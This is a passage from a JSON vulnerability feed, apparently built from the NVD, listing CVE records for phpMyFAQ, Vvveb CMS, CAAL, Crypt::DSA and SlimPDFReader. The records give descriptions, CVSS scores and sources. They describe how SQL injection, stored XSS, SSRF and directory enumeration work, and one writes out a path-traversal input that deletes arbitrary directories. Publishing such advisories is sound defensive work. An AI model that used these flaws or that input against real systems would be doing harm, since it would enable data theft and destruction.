the maintainer.","detail":"A vulnerability was found in Investintech SlimPDFReader up to 2.0.13. Affected by this vulnerability is the function sub_3B4610 of the file SlimPDFReader.exe. The manipulation results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been made public and could be used. The vendor responded to the initial vulnerability report by the researcher with a note that the product is discontinued. This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-17T05:16:16.920Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8733","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8733","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8733","type":"primary","publishedAt":"2026-05-17T05:16:16.920Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8725","cveId":"CVE-2026-8725","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint.","summary":"A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-17T02:16:45.487Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8725","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8725","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8725","type":"primary","publishedAt":"2026-05-17T02:16:45.487Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8700","cveId":"CVE-2026-8700","aliases":[],"kind":"vulnerability","title":"Crypt::DSA versions before 1.20 for Perl generate seeds using rand.","summary":"Crypt::DSA versions before 1.20 for Perl generate seeds using rand.\n\nSeeds were generated using Perl's built-in rand function, which is predictable and unsuitable for security usage.","detail":"Crypt::DSA versions before 1.20 for Perl generate seeds using rand.\n\nSeeds were generated using Perl's built-in rand function, which is predictable and unsuitable for security usage.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T22:16:57.020Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8700","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8700","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8700","type":"primary","publishedAt":"2026-05-15T22:16:57.020Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46407","cveId":"CVE-2026-46407","aliases":[],"kind":"vulnerability","title":"Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores.","summary":"Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.3, the backend admin/auth-token endpoint allows an authenticated administrator to load another administrator's REST API token list by supplying that user's admin_id. This can disclose sensitive API tokens belonging to other administrators. This vulnerability is fixed in 1.0.8.3.","detail":"Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.3, the backend admin/auth-token endpoint allows an authenticated administrator to load another administrator's REST API token list by supplying that user's admin_id. This can disclose sensitive API tokens belonging to other administrators. This vulnerability is fixed in 1.0.8.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T19:17:04.327Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46407","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46407","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46407","type":"primary","publishedAt":"2026-05-15T19:17:04.327Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46367","cveId":"CVE-2026-46367","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in Utils::parseUrl() that allows authenticated users to inject JavaScript via malformed URLs in comments.","summary":"phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in Utils::parseUrl() that allows authenticated users to inject JavaScript via malformed URLs in comments. Attackers can craft URLs with unescaped quotes to inject event handlers, stealing admin session cookies and achieving full application takeover when visitors view affected FAQ pages.","detail":"phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in Utils::parseUrl() that allows authenticated users to inject JavaScript via malformed URLs in comments. Attackers can craft URLs with unescaped quotes to inject event handlers, stealing admin session cookies and achieving full application takeover when visitors view affected FAQ pages.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T19:17:04.087Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46367","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46367","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46367","type":"primary","publishedAt":"2026-05-15T19:17:04.087Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46366","cveId":"CVE-2026-46366","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.2 contains an information disclosure vulnerability in the getIdFromSolutionId() method that lacks permission filtering, allowing unauthenticated attackers to...","summary":"phpMyFAQ before 4.1.2 contains an information disclosure vulnerability in the getIdFromSolutionId() method that lacks permission filtering, allowing unauthenticated attackers to enumerate restricted FAQ entries and read their titles via the /solution_id_{id}.html endpoint. Attackers can sequentially iterate solution IDs to discover all FAQs including those restricted to specific users or groups, leaking sensitive metadata through redirect Location headers and page canonical links.","detail":"phpMyFAQ before 4.1.2 contains an information disclosure vulnerability in the getIdFromSolutionId() method that lacks permission filtering, allowing unauthenticated attackers to enumerate restricted FAQ entries and read their titles via the /solution_id_{id}.html endpoint. Attackers can sequentially iterate solution IDs to discover all FAQs including those restricted to specific users or groups, leaking sensitive metadata through redirect Location headers and page canonical links.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T19:17:03.973Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46366","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46366","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46366","type":"primary","publishedAt":"2026-05-15T19:17:03.973Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46361","cveId":"CVE-2026-46361","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter,...","summary":"phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass html_entity_decode(strip_tags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.","detail":"phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass html_entity_decode(strip_tags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T19:17:03.400Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46361","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46361","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46361","type":"primary","publishedAt":"2026-05-15T19:17:03.400Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46359","cveId":"CVE-2026-46359","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.2 contains a sql injection vulnerability in CurrentUser::setTokenData that allows authenticated attackers to execute arbitrary SQL by injecting malicious OAuth...","summary":"phpMyFAQ before 4.1.2 contains a sql injection vulnerability in CurrentUser::setTokenData that allows authenticated attackers to execute arbitrary SQL by injecting malicious OAuth token claims. Attackers with Azure AD accounts containing SQL metacharacters in display names or JWT claims can break out of string literals and execute arbitrary database queries.","detail":"phpMyFAQ before 4.1.2 contains a sql injection vulnerability in CurrentUser::setTokenData that allows authenticated attackers to execute arbitrary SQL by injecting malicious OAuth token claims. Attackers with Azure AD accounts containing SQL metacharacters in display names or JWT claims can break out of string literals and execute arbitrary database queries.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T19:17:03.120Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46359","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46359","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46359","type":"primary","publishedAt":"2026-05-15T19:17:03.120Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45800","cveId":"CVE-2026-45800","aliases":[],"kind":"vulnerability","title":"Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores.","summary":"Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.3, there is an authenticated SQL injection issue in the frontend user order history page in Vvveb CMS. A normal frontend user can log in and access /user/orders. The order_by and direction request parameters are accepted from the URL, propagated through the Orders component, and directly concatenated into the SQL ORDER BY clause in OrderSQL::getAll(). Because of this, attacker-controlled input reaches SQL structure without a whitelist or safe query construction step. This vulnerability is fixed in 1.0.8.3.","detail":"Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.3, there is an authenticated SQL injection issue in the frontend user order history page in Vvveb CMS. A normal frontend user can log in and access /user/orders. The order_by and direction request parameters are accepted from the URL, propagated through the Orders component, and directly concatenated into the SQL ORDER BY clause in OrderSQL::getAll(). Because of this, attacker-controlled input reaches SQL structure without a whitelist or safe query construction step. This vulnerability is fixed in 1.0.8.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T19:17:02.247Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45800","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45800","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45800","type":"primary","publishedAt":"2026-05-15T19:17:02.247Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45008","cveId":"CVE-2026-45008","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.2 contains a path traversal vulnerability in Client::deleteClientFolder that allows admins with INSTANCE_DELETE permission to delete arbitrary directories.","summary":"phpMyFAQ before 4.1.2 contains a path traversal vulnerability in Client::deleteClientFolder that allows admins with INSTANCE_DELETE permission to delete arbitrary directories. Attackers can submit traversal sequences like https://../../../<path> in the client URL parameter to recursively delete directories outside the intended clientFolder scope.","detail":"phpMyFAQ before 4.1.2 contains a path traversal vulnerability in Client::deleteClientFolder that allows admins with INSTANCE_DELETE permission to delete arbitrary directories. Attackers can submit traversal sequences like https://../../../<path> in the client URL parameter to recursively delete directories outside the intended clientFolder scope.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T19:17:01.210Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45008","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45008","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45008","type":"primary","publishedAt":"2026-05-15T19:17:01.210Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44826","cveId":"CVE-2026-44826","aliases":[],"kind":"vulnerability","title":"Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores.","summary":"Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.2, Vvveb CMS does not validate the sign of the quantity parameter on the cart-add endpoint. Submitting a negative integer is accepted by the server and treated as a normal positive line-item, but with the sign carried through into every downstream computation: line total, sub-total, taxes, and grand total all become negative numbers. The customer-facing cart UI then displays a negative grand total to the user, the checkout flow accepts the negative cart, and the resulting order is persisted in the merchant's database with a negative total column. From the merchant's order management dashboard, this surfaces as a real order with a negative total — an \"the merchant owes the customer money\" record that no legitimate workflow ever creates. This vulnerability is fixed in 1.0.8.2.","detail":"Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.2, Vvveb CMS does not validate the sign of the quantity parameter on the cart-add endpoint. Submitting a negative integer is accepted by the server and treated as a normal positive line-item, but with the sign carried through into every downstream computation: line total, sub-total, taxes, and grand total all become negative numbers. The customer-facing cart UI then displays a negative grand total to the user, the checkout flow accepts the negative cart, and the resulting order is persisted in the merchant's database with a negative total column. From the merchant's order management dashboard, this surfaces as a real order with a negative total — an \"the merchant owes the customer money\" record that no legitimate workflow ever creates. This vulnerability is fixed in 1.0.8.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of 